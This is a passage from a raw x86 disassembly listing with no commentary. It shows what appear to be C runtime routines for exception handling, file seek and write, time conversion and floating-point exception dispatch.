sub_4222C2+F5j push eax call sub_4224ED pop ecx pop ecx mov [edi], eax jmp loc_422467 ; --------------------------------------------------------------------------- loc_42235F: ; CODE XREF: sub_4222C2+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_4223B9 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz loc_422462 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_41CC90 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_422467 mov eax, [edi] test eax, eax jz loc_422467 add esi, 8 push esi jmp short loc_422350 ; --------------------------------------------------------------------------- loc_4223B9: ; CODE XREF: sub_4222C2+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_422401 call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz short loc_422462 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push edi call sub_41CC90 add esp, 0Ch jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422401: ; CODE XREF: sub_4222C2+103j call sub_424770 pop ecx pop ecx test eax, eax jz short loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz short loc_422462 push dword ptr [esi+18h] call sub_4247A8 pop ecx test eax, eax jz short loc_422462 test byte ptr [esi], 4 jz short loc_422448 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41C8C9 jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422448: ; CODE XREF: sub_4222C2+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41C8C2 jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422462: ; CODE XREF: sub_4222C2+6Aj ; sub_4222C2+7Cj ... call sub_4225B2 loc_422467: ; CODE XREF: sub_4222C2+98j ; sub_4222C2+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_42246B: ; CODE XREF: sub_4222C2+2Ej ; sub_4222C2+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4222C2 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42255C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422486 proc near ; CODE XREF: sub_421DB1+170p ; sub_422252+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427900 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_4224CD mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_4224CD and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_41C8C2 or [ebp+var_4], 0FFFFFFFFh loc_4224CD: ; CODE XREF: sub_422486+2Aj ; sub_422486+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422486 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42255C ; =============== S U B R O U T I N E ======================================= sub_4224ED proc near ; CODE XREF: sub_4222C2+8Fp ; sub_4222C2+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_42250E mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_42250E: ; CODE XREF: sub_4224ED+12j pop esi retn sub_4224ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422510 proc near ; CODE XREF: sub_41C955+40p ; sub_42205D+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41CC41 push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_42254F mov ecx, 2 loc_42254F: ; CODE XREF: sub_422510+38j push ecx call sub_41CC41 pop ebp pop ecx pop ebx leave retn 0Ch sub_422510 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42255C proc near ; CODE XREF: sub_421DB1:loc_421F53j ; sub_4220FB:loc_42210Cj ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427910 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_4DB328 test eax, eax jz short loc_4225A4 mov [ebp+var_4], 1 call eax jmp short loc_4225A0 ; --------------------------------------------------------------------------- loc_422599: ; DATA XREF: ___:00427920o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_42259D: ; DATA XREF: ___:00427924o mov esp, [ebp+var_18] loc_4225A0: ; CODE XREF: sub_42255C+3Bj and [ebp+var_4], 0 loc_4225A4: ; CODE XREF: sub_42255C+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_4225AD: ; DATA XREF: ___:00427918o jmp loc_4247C0 sub_42255C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4225B2 proc near ; CODE XREF: sub_41CAF7+23p ; sub_41CAF7:loc_41CB62p ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427928 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_43C8C4 test eax, eax jz short loc_4225FA mov [ebp+var_4], 1 call eax ; sub_42255C jmp short loc_4225F6 ; --------------------------------------------------------------------------- loc_4225EF: ; DATA XREF: ___:00427938o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4225F3: ; DATA XREF: ___:0042793Co mov esp, [ebp+var_18] loc_4225F6: ; CODE XREF: sub_4225B2+3Bj and [ebp+var_4], 0 loc_4225FA: ; CODE XREF: sub_4225B2+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422603: ; DATA XREF: ___:00427930o jmp sub_42255C sub_4225B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422608 proc near ; CODE XREF: sub_41CFD3+7p ; sub_41CFD3+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4DC908 push esi cmp eax, 3 jnz short loc_422631 mov esi, [ebp+arg_0] push esi call sub_41DE77 test eax, eax pop ecx jz short loc_42262E mov eax, [esi-4] sub eax, 9 jmp short loc_422666 ; --------------------------------------------------------------------------- loc_42262E: ; CODE XREF: sub_422608+1Cj push esi jmp short loc_422658 ; --------------------------------------------------------------------------- loc_422631: ; CODE XREF: sub_422608+Ej cmp eax, 2 jnz short loc_422655 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41EBD2 add esp, 0Ch test eax, eax jz short loc_422655 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_422666 ; --------------------------------------------------------------------------- loc_422655: ; CODE XREF: sub_422608+2Cj ; sub_422608+43j push [ebp+arg_0] loc_422658: ; CODE XREF: sub_422608+27j push 0 push dword_4DC904 call near ptr 2640000h nop loc_422666: ; CODE XREF: sub_422608+24j ; sub_422608+4Bj pop esi leave retn sub_422608 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422669 proc near ; CODE XREF: sub_41D081+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_422725 cmp ebx, 8Ah jg loc_422725 push esi push edi mov edi, [ebp+arg_4] mov esi, dword_43CD8C[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_4226A8 cmp edi, 2 jle short loc_4226A8 inc esi loc_4226A8: ; CODE XREF: sub_422669+37j ; sub_422669+3Cj call sub_4247D7 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_43CCA8 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_42271B cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_422721 cmp dword_43CCAC, 0 jz short loc_422721 lea eax, [ebp+var_24] push eax call sub_424A4A pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_422721 loc_42271B: ; CODE XREF: sub_422669+90j add ecx, dword_43CCB0 loc_422721: ; CODE XREF: sub_422669+96j ; sub_422669+9Fj ... mov eax, ecx jmp short loc_422728 ; --------------------------------------------------------------------------- loc_422725: ; CODE XREF: sub_422669+13j ; sub_422669+1Fj or eax, 0FFFFFFFFh loc_422728: ; CODE XREF: sub_422669+BAj pop ebx leave retn sub_422669 endp ; =============== S U B R O U T I N E ======================================= sub_42272B proc near ; CODE XREF: ___:0041D253p ; sub_41F11C+1A2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_4DC6C0 push esi push edi jnb short loc_4227AD mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DC5C0h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_4227AD push eax call sub_4238A2 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_42276F mov dword_4DB278, 9 jmp short loc_4227BE ; --------------------------------------------------------------------------- loc_42276F: ; CODE XREF: sub_42272B+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax nop call near ptr 2740000h mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_42278F call near ptr 2660882h nop jmp short loc_422791 ; --------------------------------------------------------------------------- loc_42278F: ; CODE XREF: sub_42272B+5Aj xor eax, eax loc_422791: ; CODE XREF: sub_42272B+62j test eax, eax jz short loc_42279E push eax call sub_4203DF pop ecx jmp short loc_4227BE ; --------------------------------------------------------------------------- loc_42279E: ; CODE XREF: sub_42272B+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_4227C1 ; --------------------------------------------------------------------------- loc_4227AD: ; CODE XREF: sub_42272B+Dj ; sub_42272B+2Aj and dword_4DB27C, 0 mov dword_4DB278, 9 loc_4227BE: ; CODE XREF: sub_42272B+42j ; sub_42272B+71j or eax, 0FFFFFFFFh loc_4227C1: ; CODE XREF: sub_42272B+80j pop edi pop esi pop ebx retn sub_42272B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4227C5 proc near ; CODE XREF: ___:0041D216p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_4227E1 mov [edi+4], ebx loc_4227E1: ; CODE XREF: sub_4227C5+17j push 1 push ebx push esi call sub_42272B add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_42284F mov edx, [edi+0Ch] test dx, 108h jnz short loc_422806 sub eax, [edi+4] jmp loc_422918 ; --------------------------------------------------------------------------- loc_422806: ; CODE XREF: sub_4227C5+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_422840 mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_4DC5C0[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_422857 mov edx, ecx loc_422831: ; CODE XREF: sub_4227C5+79j cmp edx, eax jnb short loc_422857 cmp byte ptr [edx], 0Ah jnz short loc_42283D inc [ebp+var_8] loc_42283D: ; CODE XREF: sub_4227C5+73j inc edx jmp short loc_422831 ; --------------------------------------------------------------------------- loc_422840: ; CODE XREF: sub_4227C5+50j test dl, 80h jnz short loc_422857 mov dword_4DB278, 16h loc_42284F: ; CODE XREF: sub_4227C5+2Dj or eax, 0FFFFFFFFh jmp loc_422918 ; --------------------------------------------------------------------------- loc_422857: ; CODE XREF: sub_4227C5+68j ; sub_4227C5+6Ej ... cmp [ebp+var_4], 0 jnz short loc_422865 mov eax, [ebp+var_8] jmp loc_422918 ; --------------------------------------------------------------------------- loc_422865: ; CODE XREF: sub_4227C5+96j test byte ptr [edi+0Ch], 1 jz loc_422910 mov edx, [edi+4] test edx, edx jnz short loc_42287E and [ebp+var_8], edx jmp loc_422910 ; --------------------------------------------------------------------------- loc_42287E: ; CODE XREF: sub_4227C5+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4DC5C0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_42290A push 2 push 0 push [ebp+var_C] call sub_42272B add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_4228D1 mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_4228BC: ; CODE XREF: sub_4227C5+104j cmp eax, ecx jnb short loc_4228CB cmp byte ptr [eax], 0Ah jnz short loc_4228C8 inc [ebp+arg_0] loc_4228C8: ; CODE XREF: sub_4227C5+FEj inc eax jmp short loc_4228BC ; --------------------------------------------------------------------------- loc_4228CB: ; CODE XREF: sub_4227C5+F9j test byte ptr [edi+0Dh], 20h jmp short loc_422905 ; --------------------------------------------------------------------------- loc_4228D1: ; CODE XREF: sub_4227C5+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_42272B mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_4228F8 mov ecx, [edi+0Ch] test cl, 8 jz short loc_4228F8 test ch, 4 jz short loc_4228FB loc_4228F8: ; CODE XREF: sub_4227C5+124j ; sub_4227C5+12Cj mov eax, [edi+18h] loc_4228FB: ; CODE XREF: sub_4227C5+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_422905: ; CODE XREF: sub_4227C5+10Aj jz short loc_42290A inc [ebp+arg_0] loc_42290A: ; CODE XREF: sub_4227C5+D9j ; sub_4227C5:loc_422905j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_422910: ; CODE XREF: sub_4227C5+A4j ; sub_4227C5+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_422918: ; CODE XREF: sub_4227C5+3Cj ; sub_4227C5+8Dj ... pop edi pop esi pop ebx leave retn sub_4227C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42291D proc near ; CODE XREF: sub_41D2B4+A2p ; sub_41DB8B+2Cp ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_4DC6C0 push esi push edi jnb loc_422AB1 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4DC5C0h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_422AB1 xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_42296E loc_422967: ; CODE XREF: sub_42291D+177j xor eax, eax jmp loc_422AC5 ; --------------------------------------------------------------------------- loc_42296E: ; CODE XREF: sub_42291D+48j test al, 20h jz short loc_42297E push 2 push edi push ecx call sub_42272B add esp, 0Ch loc_42297E: ; CODE XREF: sub_42291D+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_422A4D mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_422A85 loc_42299E: ; CODE XREF: sub_42291D+F5j lea eax, [ebp+var_414] loc_4229A4: ; CODE XREF: sub_42291D+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_4229D8 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_4229C3 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_4229C3: ; CODE XREF: sub_42291D+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_4229A4 loc_4229D8: ; CODE XREF: sub_42291D+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 26D0000h test eax, eax jz short loc_422A42 mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_422A14 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_42299E loc_422A14: ; CODE XREF: sub_42291D+EAj ; sub_42291D+12Ej xor edi, edi loc_422A16: ; CODE XREF: sub_42291D+150j ; sub_42291D+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_422AAC cmp [ebp+arg_0], edi jz short loc_422A85 push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_422A7A mov dword_4DB278, 9 mov dword_4DB27C, eax jmp loc_422AC2 ; --------------------------------------------------------------------------- loc_422A42: ; CODE XREF: sub_42291D+E0j nop call near ptr 2660882h mov [ebp+arg_0], eax jmp short loc_422A14 ; --------------------------------------------------------------------------- loc_422A4D: ; CODE XREF: sub_42291D+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] call near ptr 26D0000h nop test eax, eax jz short loc_422A6F mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_422A16 ; --------------------------------------------------------------------------- loc_422A6F: ; CODE XREF: sub_42291D+145j nop call near ptr 2660882h mov [ebp+arg_0], eax jmp short loc_422A16 ; --------------------------------------------------------------------------- loc_422A7A: ; CODE XREF: sub_42291D+10Fj push [ebp+arg_0] call sub_4203DF pop ecx jmp short loc_422AC2 ; --------------------------------------------------------------------------- loc_422A85: ; CODE XREF: sub_42291D+7Bj ; sub_42291D+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_422A9A mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_422967 loc_422A9A: ; CODE XREF: sub_42291D+16Fj mov dword_4DB278, 1Ch mov dword_4DB27C, edi jmp short loc_422AC2 ; --------------------------------------------------------------------------- loc_422AAC: ; CODE XREF: sub_42291D+FEj sub eax, [ebp+var_10] jmp short loc_422AC5 ; --------------------------------------------------------------------------- loc_422AB1: ; CODE XREF: sub_42291D+15j ; sub_42291D+37j and dword_4DB27C, 0 mov dword_4DB278, 9 loc_422AC2: ; CODE XREF: sub_42291D+120j ; sub_42291D+166j ... or eax, 0FFFFFFFFh loc_422AC5: ; CODE XREF: sub_42291D+4Cj ; sub_42291D+192j pop edi pop esi pop ebx leave retn sub_42291D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422ACA proc near ; CODE XREF: sub_41D5AA+47p ; sub_41D5AA+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427948 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_4DB34C, edi jnz short loc_422B40 push edi push edi push 1 pop ebx push ebx push offset dword_427940 mov esi, 100h push esi push edi nop call near ptr 2630000h test eax, eax jz short loc_422B1E mov dword_4DB34C, ebx jmp short loc_422B40 ; --------------------------------------------------------------------------- loc_422B1E: ; CODE XREF: sub_422ACA+4Aj push edi push edi push ebx push offset dword_4CAE2C push esi push edi call near ptr 263118Ch nop test eax, eax jz loc_422C58 mov dword_4DB34C, 2 loc_422B40: ; CODE XREF: sub_422ACA+2Ej ; sub_422ACA+52j cmp [ebp+arg_C], edi jle short loc_422B55 push [ebp+arg_C] push [ebp+arg_8] call sub_426180 pop ecx pop ecx mov [ebp+arg_C], eax loc_422B55: ; CODE XREF: sub_422ACA+79j mov eax, dword_4DB34C cmp eax, 2 jnz short loc_422B7C push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 263118Ch jmp loc_422C5A ; --------------------------------------------------------------------------- loc_422B7C: ; CODE XREF: sub_422ACA+93j cmp eax, 1 jnz loc_422C58 cmp [ebp+arg_18], edi jnz short loc_422B92 mov eax, dword_4DB344 mov [ebp+arg_18], eax loc_422B92: ; CODE XREF: sub_422ACA+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] nop call near ptr 27F0000h mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_422C58 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_422BED ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_422BED: ; CODE XREF: sub_422ACA+10Ej cmp [ebp+var_24], edi jz short loc_422C58 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call near ptr 27F0000h nop test eax, eax jz short loc_422C58 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2630000h nop mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_422C58 test byte ptr [ebp+arg_4+1], 4 jz short loc_422C6C cmp [ebp+arg_14], edi jz loc_422CE7 cmp esi, [ebp+arg_14] jg short loc_422C58 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2630000h test eax, eax jnz loc_422CE7 loc_422C58: ; CODE XREF: sub_422ACA+66j ; sub_422ACA+B5j ... xor eax, eax loc_422C5A: ; CODE XREF: sub_422ACA+ADj ; sub_422ACA+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_422C6C: ; CODE XREF: sub_422ACA+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_422CA0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_422CA0: ; CODE XREF: sub_422ACA+1C2j cmp ebx, edi jz short loc_422C58 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2630000h nop test eax, eax jz short loc_422C58 cmp [ebp+arg_14], edi push edi push edi jnz short loc_422CC7 push edi push edi jmp short loc_422CCD ; --------------------------------------------------------------------------- loc_422CC7: ; CODE XREF: sub_422ACA+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_422CCD: ; CODE XREF: sub_422ACA+1FBj push esi push ebx push 220h push [ebp+arg_18] nop call near ptr 27E1128h mov esi, eax cmp esi, edi jz loc_422C58 loc_422CE7: ; CODE XREF: sub_422ACA+165j ; sub_422ACA+188j mov eax, esi jmp loc_422C5A sub_422ACA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push dword ptr [ebp+8] call sub_422E2F test eax, eax pop ecx jz loc_422E23 mov ebx, [eax+8] test ebx, ebx jz loc_422E23 cmp ebx, 5 jnz short loc_422D1F and dword ptr [eax+8], 0 push 1 pop eax jmp loc_422E2C ; --------------------------------------------------------------------------- loc_422D1F: ; CODE XREF: ___:00422D11j cmp ebx, 1 jz loc_422E1E mov ecx, dword_4DB350 mov [ebp+8], ecx mov ecx, [ebp+0Ch] mov dword_4DB350, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_422E0E mov ecx, dword_43C940 mov edx, dword_43C944 add edx, ecx push esi cmp ecx, edx jge short loc_422D6E lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:43C8D0h[esi*4] loc_422D65: ; CODE XREF: ___:00422D6Cj and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_422D65 loc_422D6E: ; CODE XREF: ___:00422D57j mov eax, [eax] mov esi, dword_43C94C cmp eax, 0C000008Eh jnz short loc_422D89 mov dword_43C94C, 83h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422D89: ; CODE XREF: ___:00422D7Bj cmp eax, 0C0000090h jnz short loc_422D9C mov dword_43C94C, 81h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422D9C: ; CODE XREF: ___:00422D8Ej cmp eax, 0C0000091h jnz short loc_422DAF mov dword_43C94C, 84h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DAF: ; CODE XREF: ___:00422DA1j cmp eax, 0C0000093h jnz short loc_422DC2 mov dword_43C94C, 85h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DC2: ; CODE XREF: ___:00422DB4j cmp eax, 0C000008Dh jnz short loc_422DD5 mov dword_43C94C, 82h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DD5: ; CODE XREF: ___:00422DC7j cmp eax, 0C000008Fh jnz short loc_422DE8 mov dword_43C94C, 86h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DE8: ; CODE XREF: ___:00422DDAj cmp eax, 0C0000092h jnz short loc_422DF9 mov dword_43C94C, 8Ah loc_422DF9: ; CODE XREF: ___:00422D87j ; ___:00422D9Aj ... push dword_43C94C push 8 call ebx pop ecx mov dword_43C94C, esi pop ecx pop esi jmp short loc_422E16 ; --------------------------------------------------------------------------- loc_422E0E: ; CODE XREF: ___:00422D40j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_422E16: ; CODE XREF: ___:00422E0Cj mov eax, [ebp+8] mov dword_4DB350, eax loc_422E1E: ; CODE XREF: ___:00422D22j or eax, 0FFFFFFFFh jmp short loc_422E2C ; --------------------------------------------------------------------------- loc_422E23: ; CODE XREF: ___:00422CFDj ; ___:00422D08j push dword ptr [ebp+0Ch] nop call near ptr 2620000h loc_422E2C: ; CODE XREF: ___:00422D1Aj ; ___:00422E21j pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_422E2F proc near ; CODE XREF: ___:00422CF5p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43C948 cmp dword_43C8C8, edx push esi mov eax, offset dword_43C8C8 jz short loc_422E5C lea esi, [ecx+ecx*2] lea esi, ds:43C8C8h[esi*4] loc_422E51: ; CODE XREF: sub_422E2F+2Bj add eax, 0Ch cmp eax, esi jnb short loc_422E5C cmp [eax], edx jnz short loc_422E51 loc_422E5C: ; CODE XREF: sub_422E2F+16j ; sub_422E2F+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43C8C8h[ecx*4] cmp eax, ecx 